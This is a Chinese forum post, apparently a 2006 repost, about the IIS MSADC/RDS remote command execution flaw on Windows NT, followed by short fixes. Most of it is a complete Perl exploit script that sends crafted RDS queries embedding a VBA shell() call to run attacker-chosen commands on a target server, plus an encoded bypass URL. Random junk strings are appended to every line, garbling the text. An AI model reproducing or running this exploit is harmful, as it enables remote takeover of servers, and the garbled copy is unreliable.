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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) s 3r=mp{  
6rX_-Mm6w  
涉及程序: }}T,W.#%u  
Microsoft NT server T ):SGW  
,t,wy37*D  
描述: \40 YGFO  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 '{[),*nCn  
fly,-$K>LO  
详细: 50~K,Jx6B  
如果你没有时间读详细内容的话,就删除: =6T 4>rP  
c:\Program Files\Common Files\System\Msadc\msadcs.dll tju|UhP3  
有关的安全问题就没有了。 @i%YNI5*  
8;"*6vHZ  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 z" QJhCh7  
^^Jnv{)  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 <@uOCRb V  
关于利用ODBC远程漏洞的描述,请参看: }Je>;{&%  
#A<P6zJXR  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm pq! %?m]  
B'weok  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ZafboqsDL  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp F n|gVR  
5VE2@Fn}  
这里不再论述。 rg QEUDEQ  
m~`>`4  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: E4[}lX}  
|$+5@+Zz  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset |qN'P}L  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 3,eIB(  
ma& To=  
pa<qZZ  
#将下面这段保存为txt文件,然后: "perl -x 文件名" #kmh:P  
N{C;~'M2ce  
#!perl =o=1"o[  
# oC |WBS  
# MSADC/RDS 'usage' (aka exploit) script !Pj/7JC0  
# }1H=wg>\  
# by rain.forest.puppy = +Xc4a  
# yL1bS|@  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me $u9]yiY.{  
# beta test and find errors! s0W2?!>)  
bGXR7u&K  
use Socket; use Getopt::Std; rOfK~g,X  
getopts("e:vd:h:XR", \%args); s8gU7pT49  
0b|zk <  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; V'gw\mcb  
pchBvly+0  
if (!defined $args{h} && !defined $args{R}) { 6][1 <}8  
print qq~ =XY]x  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ,^'R_efY  
-h <host> = host you want to scan (ip or domain) &h~aChJ  
-d <seconds> = delay between calls, default 1 second MXvXVhCU  
-X = dump Index Server path table, if available ;%!m<S|%k  
-v = verbose  0E/:|k  
-e = external dictionary file for step 5 _|{aC1Y!V  
k9si| '  
Or a -R will resume a command session e [0w5)X   
yy2I2Bv  
~; exit;} LM l~yqM  
=y]$0nh  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ,LYFEq_  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} (9RslvK L  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ?Dsm~bkX[  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); F[`ZqW  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} #Gf+=G  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } i+vsp@d  
u<tk G B  
if (!defined $args{R}){ $ret = &has_msadc; F # YPOH  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 'cdN3i(  
Iw=Sq8  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" lE#m]D  
. "cmd /c "; T1Ta?b  
$in=<STDIN>; chomp $in; )R)a@op  
$command="cmd /c " . $in ; 40P) 4w  
j|(Z#3J  
if (defined $args{R}) {&load; exit;} c6AWn>H  
;?L\Fz(<   
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Tupiq  
&try_btcustmr; /2uQCw&x-  
+Ov2`O8?  
print "\nStep 2: Trying to make our own DSN..."; % 4 ~l  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; :`,3h%  
${&5]!E[>D  
print "\nStep 3: Trying known DSNs..."; fnu"*5bE  
&known_dsn; 15H6:_+=0  
:14i?4F d  
print "\nStep 4: Trying known .mdbs..."; +5p{5 q(o  
&known_mdb; /.Jb0h[W1  
*,WP,-0  
if (defined $args{e}){ dE=Ue#1U@5  
print "\nStep 5: Trying dictionary of DSN names..."; )ZR+lX }  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } %@J1]E;  
r0dDHj~F  
print "Sorry Charley...maybe next time?\n"; 6L4$vJ  
exit; 6j9)/H P  
c+' =hR[  
############################################################################## &*,:1=p  
@ GDX7TPV  
sub sendraw { # ripped and modded from whisker H=MCjh&$q  
sleep($delay); # it's a DoS on the server! At least on mine... =_TaA(79  
my ($pstr)=@_; %1U`@0  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || {U11^w1"3  
die("Socket problems\n"); b\55,La  
if(connect(S,pack "SnA4x8",2,80,$target)){ Jobiq]|>  
select(S); $|=1; U]4pA#*{|  
print $pstr; my @in=<S>; v:_B kHN'  
select(STDOUT); close(S); d+L#t  
return @in; (jWss  V1  
} else { die("Can't connect...\n"); }} <9A@`_';Aq  
Ka_S n  
############################################################################## >v5k{Cbp0  
83ipf"]*  
sub make_header { # make the HTTP request N=1JhjVk"  
my $msadc=<<EOT tykB.2f  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 FH5ql~  
User-Agent: ACTIVEDATA .m4;^S2cO  
Host: $ip [w \?j,  
Content-Length: $clen 3K0tC=  
Connection: Keep-Alive v"DL'@$Ut{  
!Jfs?Hy  
ADCClientVersion:01.06 {{yt*7k{  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 *JCQu0  
*wbZ;rfF  
--!ADM!ROX!YOUR!WORLD! !b|'Vp^U  
Content-Type: application/x-varg D^F{u Dlb  
Content-Length: $reqlen s4= "kT]  
0Fr1Ku!  
EOT [bQj,PZ&  
; $msadc=~s/\n/\r\n/g; b3qc_  
return $msadc;} PH4%R]{8{  
Wa"(m*hW  
############################################################################## ;GHvPQc_  
g^>#^rLU  
sub make_req { # make the RDS request v Y|!  
my ($switch, $p1, $p2)=@_; GR4?BuY,  
my $req=""; my $t1, $t2, $query, $dsn; H^%.=kf  
|FR3w0o  
if ($switch==1){ # this is the btcustmr.mdb query Ju` [m  
$query="Select * from Customers where City=" . make_shell(); VDEv>u4  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . GJ(d&o8  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} CZ{k@z`r  
$So%d9k  
elsif ($switch==2){ # this is general make table query +{`yeZ9S  
$query="create table AZZ (B int, C varchar(10))"; w=b(X q+:  
$dsn="$p1";} *<V^2z$y_  
 3yS  
elsif ($switch==3){ # this is general exploit table query TW&DFKK`  
$query="select * from AZZ where C=" . make_shell(); JN3cg  
$dsn="$p1";} M~ h8Crz  
^C^*,V3  
elsif ($switch==4){ # attempt to hork file info from index server 'C+;r?1!h  
$query="select path from scope()"; *e"a0  
$dsn="Provider=MSIDXS;";} cd@.zg'sYn  
@]CF&: P A  
elsif ($switch==5){ # bad query jk~:\8M(A  
$query="select"; Fw4*  
$dsn="$p1";} 8Z#j7)G  
sYbH|}  
$t1= make_unicode($query); ?h\mk0[  
$t2= make_unicode($dsn); }k$4/7ri  
$req = "\x02\x00\x03\x00"; wOgE|n  
$req.= "\x08\x00" . pack ("S1", length($t1)); S4NL "m  
$req.= "\x00\x00" . $t1 ; eo]#sf@\0  
$req.= "\x08\x00" . pack ("S1", length($t2)); e,1u  
$req.= "\x00\x00" . $t2 ; @)YY\l#  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; &R-H"kK?  
return $req;} *=F(KZ  
B33$ u3d  
############################################################################## AD5) .}[F  
WPuz]Ty  
sub make_shell { # this makes the shell() statement /)|X.D  
return "'|shell(\"$command\")|'";} h+UnZfm  
m 40m<@  
############################################################################## JHV)ZOO  
>O9 sk  
sub make_unicode { # quick little function to convert to unicode &rq{v!=7  
my ($in)=@_; my $out; ]L_w$ev'  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } pR o s{Uq"  
return $out;} |lQ;ALH!  
{kB `>VS  
############################################################################## G&{HTYP  
&&8'0 .M{  
sub rdo_success { # checks for RDO return success (this is kludge) M7}Q=q\9  
my (@in) = @_; my $base=content_start(@in);  ^y.UbI  
if($in[$base]=~/multipart\/mixed/){ KpZ:Nh$  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} mS=r(3#  
return 0;} FVWfDQ$&v  
[`fI:ao|  
############################################################################## 4 2) mM#  
*b(wVvz  
sub make_dsn { # this makes a DSN for us 4n( E;!s  
my @drives=("c","d","e","f"); \|= mD}N  
print "\nMaking DSN: "; n$+M%}/f  
foreach $drive (@drives) { o3Ot.9L  
print "$drive: "; }U 5Y=RYo  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . GRYe<K  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ks(SjEF  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Ws[D{dS/  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Qc-(*}  
return 0 if $2 eq "404"; # not found/doesn't exist ;6;H*Y0,|E  
if($2 eq "200") { $< %B#axL  
foreach $line (@results) { |WqOk~)[Z3  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} *dE^-dm#  
} return 0;} 'VnwG  
Ggm` ~fS  
############################################################################## -$8.3\6h  
XJ\hd,R   
sub verify_exists { 3fS}:!sQ  
my ($page)=@_; xh9qg0d  
my @results=sendraw("GET $page HTTP/1.0\n\n"); %|Qw9sbd  
return $results[0];} Y>6.t"?Q^  
B&KL2&Z~Pq  
############################################################################## {ShgJ ;! Q  
mB 55PYA  
sub try_btcustmr { Un=a fX?j  
my @drives=("c","d","e","f"); +Ghi}v  
my @dirs=("winnt","winnt35","winnt351","win","windows"); r#876.JK  
y=N"=Z  
foreach $dir (@dirs) { Q4'C;<\@(Q  
print "$dir -> "; # fun status so you can see progress dDcZ!rRaL@  
foreach $drive (@drives) { kEN#u  
print "$drive: "; # ditto %CH6lY=lI  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; $^%N U  
$reqlenlen=length( "$reqlen" ); 0%C^8%(x  
$clen= 206 + $reqlenlen + $reqlen; A*]$v  
8v_C5d\  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); x1[?5n6  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 6 vs3O  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} `aSM8C\  
Y*YFB|f?  
############################################################################## eD#XDK  
L ubrn"128  
sub odbc_error { oVO.@M#  
my (@in)=@_; my $base; D,;\F,p  
my $base = content_start(@in); +++pI.>(*Q  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 649 !=  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 4SVW/Zl.?  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Di(9]: +  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; QJ X/7RA  
return $in[$base+4].$in[$base+5].$in[$base+6];} Cnh|D^{s  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; khX|" d360  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . #a~"K|' G  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ? Nj)6_&  
! p.^ITM3S  
############################################################################## L:f)i,S"5q  
:h5J r8  
sub verbose { pA4 ,@O  
my ($in)=@_; ]#eh&jw  
return if !$verbose; [/9(NUf  
print STDOUT "\n$in\n";} CY"i-e"q<Q  
/'&;Q7!)  
############################################################################## e1(h</MU2  
RXSf,O  
sub save { __N.#c/l{  
my ($p1, $p2, $p3, $p4)=@_; wq0aF"k  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; N+Sq}hI  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 6].:.b\qQc  
close OUT;} XAic9SNu;  
'CV^M(o'9  
############################################################################## vgG}d8MW37  
8C&x MA^  
sub load { d]B= *7]  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Z6s5M{mE  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); \ aKd5@  
@p=<IN>; close(IN); ?S`>>^  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); iD_T P  
$target= inet_aton($ip) || die("inet_aton problems"); S`g;Y '  
print "Resuming to $ip ..."; F? ]N8W  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; g:~+P e  
if($p[1]==1) { TipHV;|e  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; %v=!'?VT  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; #+jUhxq  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); zJl_ t0  
if (rdo_success(@results)){print "Success!\n";} ,x#ztdvr  
else { print "failed\n"; verbose(odbc_error(@results));}} McP.9v}H0_  
elsif ($p[1]==3){ x-Z^Q C  
if(run_query("$p[3]")){ 9D_wG\g  
print "Success!\n";} else { print "failed\n"; }} /tKGwX]y  
elsif ($p[1]==4){ 1i-[+   
if(run_query($drvst . "$p[3]")){ 5P+YK\~  
print "Success!\n"; } else { print "failed\n"; }} 'EX4.h a5  
exit;} G}Z4g  
h_ ZX/k  
############################################################################## ;h=S7M9.  
(_8#YyW#  
sub create_table { FmT `Oa>  
my ($in)=@_; Mtp%co)f  
$reqlen=length( make_req(2,$in,"") ) - 28; uw_?O[ZA[  
$reqlenlen=length( "$reqlen" ); zixE Mi[8  
$clen= 206 + $reqlenlen + $reqlen; L#j/0IHD  
my @results=sendraw(make_header() . make_req(2,$in,"")); i\x~iP&F$  
return 1 if rdo_success(@results);  Alu5$6X  
my $temp= odbc_error(@results); verbose($temp); _}=E^/;(  
return 1 if $temp=~/Table 'AZZ' already exists/; i^g~~h F  
return 0;} $I8[BYblB  
&9P<qU^N)  
############################################################################## a@ W7<9fY;  
htHv&  
sub known_dsn { azGn P3_  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go eV;me>,  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", G11cNr>*  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 2ksA.,UB^9  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); [j0w\{  
JMsHK,(  
foreach $dSn (@dsns) { \y~)jq:d"  
print "."; 'p)QyL`d  
next if (!is_access("DSN=$dSn")); fValSQc!U  
if(create_table("DSN=$dSn")){ $ I<|-]u  
print "$dSn successful\n"; #v/ry)2Y=  
if(run_query("DSN=$dSn")){ l>Av5g)  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { wRbw  
print "Something's borked. Use verbose next time\n";}}} print "\n";} .TN2s\:]jw  
ua#K>su r.  
############################################################################## `]>on`n?  
VO-784I  
sub is_access { pt})JMm  
my ($in)=@_; ,+-h7^{`  
$reqlen=length( make_req(5,$in,"") ) - 28; G8P+A1 f/>  
$reqlenlen=length( "$reqlen" ); Xp^$ E6YFy  
$clen= 206 + $reqlenlen + $reqlen; :~-i&KNk  
my @results=sendraw(make_header() . make_req(5,$in,"")); Lz6*H1~   
my $temp= odbc_error(@results); 2oB?Dn  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); }su6izx  
return 0;} s=/^lOOO  
6ZgNHARS  
############################################################################## p#<nK+6.8  
I9/KM4&  
sub run_query { %UG/ak%z  
my ($in)=@_; ^pw7o6}  
$reqlen=length( make_req(3,$in,"") ) - 28; =uc^433.  
$reqlenlen=length( "$reqlen" ); $rB!Ex{@ac  
$clen= 206 + $reqlenlen + $reqlen; ?`i|" y #  
my @results=sendraw(make_header() . make_req(3,$in,"")); j],& z^O$  
return 1 if rdo_success(@results); 8MQ bLj'H  
my $temp= odbc_error(@results); verbose($temp); *`.LA@bHU  
return 0;} ,;3:pr  
BhkAQEsWTQ  
############################################################################## uu@<&.r\C  
s01$fFJgO  
sub known_mdb { p">WK<N  
my @drives=("c","d","e","f","g"); ZbyG*5iq  
my @dirs=("winnt","winnt35","winnt351","win","windows"); >w2f8tW`PP  
my $dir, $drive, $mdb; 3_U\VGm  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ~2 Oc K  
sD2Qm  
# this is sparse, because I don't know of many %*p^$5L<  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Hn^sW LT  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", *h])mqhB  
"\\system32\\certmdb.mdb", !PI0oh  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Cz[5Ug'V  
~Jxlj(" 0(  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", d~/xGB`<  
"\\cfusion\\cfapps\\forums\\forums_.mdb", o@',YF>OQ  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", s kY0\V  
"\\cfusion\\cfapps\\security\\realm_.mdb", Xv&%2-V;  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", w3d\0ub  
"\\cfusion\\database\\cfexamples.mdb", j]Ua\|t  
"\\cfusion\\database\\cfsnippets.mdb", ' tSnH&c  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Q'C 4pn@  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", <G}m#  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 7YD\ !2b  
"\\cfusion\\database\\smpolicy.mdb", C=s((q*  
"\\cfusion\\database\cypress.mdb", $~ VcQ  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", !|(Ao"]  
"\\website\\cgi-win\\dbsample.mdb", UL ck  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", oE5;|x3  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" }Fz!6F2w  
); #these are just vcV!K^M-  
foreach $drive (@drives) { *NF&Y  
foreach $dir (@dirs){ GJ>ypEWo  
foreach $mdb (@sysmdbs) { lXw;|dGF  
print "."; vhX-Qkt}  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 1"d\ mE  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; C?(y2p`d\  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ w4aiI2KFq  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Uv'uqt  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 9QZ}Hn`p  
5@iy3olP  
foreach $drive (@drives) { nDF&EE  
foreach $mdb (@mdbs) { $'y1 Po'2  
print "."; ID+,[TM`  
if(create_table($drv . $drive . $dir . $mdb)){ W=F3XYS  
print "\n" . $drive . $dir . $mdb . " successful\n"; +O,V6XRr  
if(run_query($drv . $drive . $dir . $mdb)){ eA10xpM0  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 03] r*\  
} else { print "Something's borked. Use verbose next time\n"; }}}} x6jm -n  
} 35}P0+  
6\XP|n-0+0  
############################################################################## a0)vvo=bz  
&!4( 0u  
sub hork_idx { tRkrV]K  
print "\nAttempting to dump Index Server tables...\n"; zK,~37)\  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; "wF*O"WQo  
$reqlen=length( make_req(4,"","") ) - 28; Ag<4r  
$reqlenlen=length( "$reqlen" ); c.\:peDk  
$clen= 206 + $reqlenlen + $reqlen; Vj29L?3  
my @results=sendraw2(make_header() . make_req(4,"","")); [KD}U-(Wg  
if (rdo_success(@results)){ M Ey1~h/  
my $max=@results; my $c; my %d; @H3|u`6V  
for($c=19; $c<$max; $c++){ s~/57S  
$results[$c]=~s/\x00//g; ;g6 nHek  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; V02309Y  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; & 8zk3  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; q~mcjbLz  
$d{"$1$2"}="";} ^sJ1 ^LT  
foreach $c (keys %d){ print "$c\n"; } 2k%Bl+I  
} else {print "Index server doesn't seem to be installed.\n"; }} ADTU{6UPS  
W;5N04ko  
############################################################################## TjT](?'o  
 I8:"h  
sub dsn_dict { "[Yip5  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 1o(+rR<h9  
while(<IN>){ rffVfw  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; <.: 5Vx(Aw  
next if (!is_access("DSN=$dSn")); }1l}-w`F  
if(create_table("DSN=$dSn")){ #3YdjU3w  
print "$dSn successful\n"; w"yK\OE  
if(run_query("DSN=$dSn")){ NT'Ie]|  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Dy98[cL  
print "Something's borked. Use verbose next time\n";}}} \]Kq(k[p  
print "\n"; close(IN);} b$IY2W<Ln  
UnJi& ~O  
############################################################################## Ua}g  
K@I+]5E%?  
sub sendraw2 { # ripped and modded from whisker X5|?/aR}  
sleep($delay); # it's a DoS on the server! At least on mine... 4GEjW4E  
my ($pstr)=@_; jBT*~DyN z  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || w6%l8+{R  
die("Socket problems\n"); 5/*)+  
if(connect(S,pack "SnA4x8",2,80,$target)){ %`bLmfm  
print "Connected. Getting data"; ;<86P3S  
open(OUT,">raw.out"); my @in; y>?k<)nA{  
select(S); $|=1; print $pstr; ~_ (!}V  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} _.u~)Q`6  
close(OUT); select(STDOUT); close(S); return @in; |L*6x S[  
} else { die("Can't connect...\n"); }} ytg7p5{!i  
.0 rJIO  
############################################################################## $[WN[J  
Vx0MG{vG1  
sub content_start { # this will take in the server headers A)=X?x  
my (@in)=@_; my $c; }S Y`KoC1  
for ($c=1;$c<500;$c++) { E>o&GYc  
if($in[$c] =~/^\x0d\x0a/){ ZKVp[A  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } NHst7$Y<  
else { return $c+1; }}} =f/avGX  
return -1;} # it should never get here actually C6Um6 X9/i  
!.x=r  
############################################################################## DK2c]i^|=  
LX&=uv%-^  
sub funky { Lx|w~+k}  
my (@in)=@_; my $error=odbc_error(@in); &Z#Vw.7U  
if($error=~/ADO could not find the specified provider/){ ZYpD8u6U  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; &e5^v  
exit;} oY| (M_;  
if($error=~/A Handler is required/){ T#ecLD#  
print "\nServer has custom handler filters (they most likely are patched)\n"; ?)i6:76(  
exit;} M$DwQ}Z  
if($error=~/specified Handler has denied Access/){ kW*W4{Fth  
print "\nServer has custom handler filters (they most likely are patched)\n"; 3?-V>-[G_  
exit;}} LWp?U!N  
LGdf_M-f  
############################################################################## 0~LnnD N  
&q kl*#]  
sub has_msadc { wpPxEp/  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); c/,|[ t  
my $base=content_start(@results); Br?++\  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ~cWLu5  
return 0;}  F<XD^sO  
0hEF$d6U  
######################## SV$ASs  
< :S?t2C  
r)*_,Fo|  
解决方案: 3@#,i<ge:  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll -0[>}!l=G  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 dRarNW  
JN9HT0  
拿出来充数 哈哈
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